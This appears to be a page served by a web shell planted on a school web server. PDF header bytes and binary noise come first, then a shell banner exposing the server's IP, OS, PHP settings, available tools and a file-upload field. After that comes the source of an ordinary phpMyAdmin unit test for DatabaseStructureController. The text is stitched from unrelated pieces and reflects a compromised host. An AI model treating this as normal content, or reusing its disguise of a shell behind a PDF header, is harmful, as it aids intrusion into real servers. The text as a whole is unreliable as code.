%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/phpMyAdmin/test/classes/controllers/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * DatabaseStructureController_Test class * * this class is for testing DatabaseStructureController class * * @package PhpMyAdmin-test */ /* * Include to test. */ use PMA\libraries\controllers\database\DatabaseStructureController; use PMA\libraries\di\Container; use PMA\libraries\Table; use PMA\libraries\Theme; require_once 'test/PMATestCase.php'; require_once 'libraries/database_interface.inc.php'; require_once 'test/libraries/stubs/ResponseStub.php'; /** * DatabaseStructureController_Test class * * this class is for testing DatabaseStructureController class * * @package PhpMyAdmin-test */ class DatabaseStructureControllerTest extends PMATestCase { /** * @var \PMA\Test\Stubs\Response */ private $_response; /** * Prepares environment for the test. * * @return void */ public function setUp() { //$_REQUEST $_REQUEST['log'] = "index1"; $_REQUEST['pos'] = 3; //$GLOBALS $GLOBALS['server'] = 1; $GLOBALS['cfg']['Server']['DisableIS'] = false; $GLOBALS['table'] = "table"; $GLOBALS['pmaThemeImage'] = 'image'; //$_SESSION $_SESSION['PMA_Theme'] = Theme::load('./themes/pmahomme'); $_SESSION['PMA_Theme'] = new Theme(); if (!defined('PMA_USR_BROWSER_AGENT')) { define('PMA_USR_BROWSER_AGENT', 'Other'); } $table = $this->getMockBuilder('PMA\libraries\Table') ->disableOriginalConstructor() ->getMock(); // Expect the table will have 6 rows $table->expects($this->any())->method('getRealRowCountTable') ->will($this->returnValue(6)); $table->expects($this->any())->method('countRecords') ->will($this->returnValue(6)); $dbi = $this->getMockBuilder('PMA\libraries\DatabaseInterface') ->disableOriginalConstructor() ->getMock(); $dbi->expects($this->any())->method('getTable') ->will($this->returnValue($table)); $GLOBALS['dbi'] = $dbi; $container = Container::getDefaultContainer(); $container->set('db', 'db'); $container->set('table', 'table'); $container->set('dbi', $GLOBALS['dbi']); $this->_response = new \PMA\Test\Stubs\Response(); $container->set('PMA\libraries\Response', $this->_response); $container->alias('response', 'PMA\libraries\Response'); } /** * Tests for getValuesForInnodbTable() * * @return void * @test */ public function testGetValuesForInnodbTable() { $container = Container::getDefaultContainer(); $container->set('db', 'db'); $container->set('table', 'table'); $container->set('dbi', $GLOBALS['dbi']); $response = new \PMA\Test\Stubs\Response(); $container->set('PMA\libraries\Response', $response); $container->alias('response', 'PMA\libraries\Response'); $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $method = $class->getMethod('getValuesForInnodbTable'); $method->setAccessible(true); $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); // Showing statistics $property = $class->getProperty('_is_show_stats'); $property->setAccessible(true); $property->setValue($ctrl, true); $GLOBALS['cfg']['MaxExactCount'] = 10; $current_table = array( 'ENGINE' => 'InnoDB', 'TABLE_ROWS' => 5, 'Data_length' => 16384, 'Index_length' => 0, 'TABLE_NAME' => 'table' ); list($current_table,,, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 10)); $this->assertEquals( true, $current_table['COUNTED'] ); $this->assertEquals( 6, $current_table['TABLE_ROWS'] ); $this->assertEquals( 16394, $sum_size ); $current_table['ENGINE'] = 'MYISAM'; list($current_table,,, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 10)); $this->assertEquals( false, $current_table['COUNTED'] ); $this->assertEquals( 16394, $sum_size ); // Not showing statistics $is_show_stats = false; $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); $current_table['ENGINE'] = 'InnoDB'; list($current_table,,, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 10)); $this->assertEquals( true, $current_table['COUNTED'] ); $this->assertEquals( 10, $sum_size ); $current_table['ENGINE'] = 'MYISAM'; list($current_table,,, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 10)); $this->assertEquals( false, $current_table['COUNTED'] ); $this->assertEquals( 10, $sum_size ); } /** * Tests for the getValuesForAriaTable() * * @return void * @test */ public function testGetValuesForAriaTable() { $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $method = $class->getMethod('getValuesForAriaTable'); $method->setAccessible(true); $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); // Showing statistics $property = $class->getProperty('_is_show_stats'); $property->setAccessible(true); $property->setValue($ctrl, true); $property = $class->getProperty('_db_is_system_schema'); $property->setAccessible(true); $property->setValue($ctrl, true); $current_table = array( 'Data_length' => 16384, 'Index_length' => 0, 'Name' => 'table', 'Data_free' => 300, ); list($current_table,,,,, $overhead_size, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 0, 0, 0, 0, 0, 0,)); $this->assertEquals( 6, $current_table['Rows'] ); $this->assertEquals( doubleval(16384), $sum_size ); $this->assertEquals( 300, $overhead_size ); unset($current_table['Data_free']); list($current_table,,,,, $overhead_size,) = $method->invokeArgs($ctrl, array($current_table, 0, 0, 0, 0, 0, 0,)); $this->assertEquals(0, $overhead_size); $is_show_stats = false; $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); list($current_table,,,,,, $sum_size) = $method->invokeArgs($ctrl, array($current_table, 0, 0, 0, 0, 0, 0)); $this->assertEquals(0, $sum_size); $db_is_system_schema = false; $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); list($current_table,,,,,,) = $method->invokeArgs($ctrl, array($current_table, 0, 0, 0, 0, 0, 0,)); $this->assertArrayNotHasKey('Row', $current_table); } /** * Tests for hasTable() * * @return void * @test */ public function testHasTable() { $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $method = $class->getMethod('hasTable'); $method->setAccessible(true); $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); // When parameter $db is empty $this->assertEquals( false, $method->invokeArgs($ctrl, array(array(), 'table')) ); // Correct parameter $tables = array( 'db.table' ); $this->assertEquals( true, $method->invokeArgs($ctrl, array($tables, 'table')) ); // Table not in database $tables = array( 'db.tab1e' ); $this->assertEquals( false, $method->invokeArgs($ctrl, array($tables, 'table')) ); } /** * Tests for checkFavoriteTable() * * @return void * @test */ public function testCheckFavoriteTable() { $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $method = $class->getMethod('checkFavoriteTable'); $method->setAccessible(true); $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); $_SESSION['tmpval']['favorite_tables'][$GLOBALS['server']] = array( array('db' => 'db', 'table' => 'table') ); $this->assertEquals( false, $method->invokeArgs($ctrl, array('')) ); $this->assertEquals( true, $method->invokeArgs($ctrl, array('table')) ); } /** * Tests for synchronizeFavoriteTables() * * @return void * @test */ public function testSynchronizeFavoriteTables() { $fav_instance = $this->getMockBuilder('PMA\libraries\RecentFavoriteTable') ->disableOriginalConstructor() ->getMock(); $fav_instance->expects($this->at(1))->method('getTables') ->will($this->returnValue(array())); $fav_instance->expects($this->at(2)) ->method('getTables') ->will( $this->returnValue( array( array('db' => 'db', 'table' => 'table'), ) ) ); $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $method = $class->getMethod('synchronizeFavoriteTables'); $method->setAccessible(true); $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); // The user hash for test $user = 'abcdefg'; $favorite_table = array( $user => array( array('db' => 'db', 'table' => 'table') ), ); $method->invokeArgs($ctrl, array($fav_instance, $user, $favorite_table)); $json = $this->_response->getJSONResult(); $this->assertEquals(json_encode($favorite_table), $json['favorite_tables']); $this->assertArrayHasKey('list', $json); } /** * Tests for handleRealRowCountRequestAction() * * @return void * @test */ public function testHandleRealRowCountRequestAction() { $_REQUEST['table'] = 'table'; $ctrl = new DatabaseStructureController( $GLOBALS['db'], null ); // Showing statistics $class = new ReflectionClass('PMA\libraries\controllers\database\DatabaseStructureController'); $property = $class->getProperty('_tables'); $property->setAccessible(true); $ctrl->handleRealRowCountRequestAction(); $json = $this->_response->getJSONResult(); $this->assertEquals( 6, $json['real_row_count'] ); // Fall into another branch $_REQUEST['real_row_count_all'] = 'abc'; $property->setValue( $ctrl, array( array( 'TABLE_NAME' => 'table' ) ) ); $ctrl->handleRealRowCountRequestAction(); $json = $this->_response->getJSONResult(); $expected_result = array( array( 'table' => 'table', 'row_count' => 6 ) ); $this->assertEquals( json_encode($expected_result), $json['real_row_count_all'] ); } }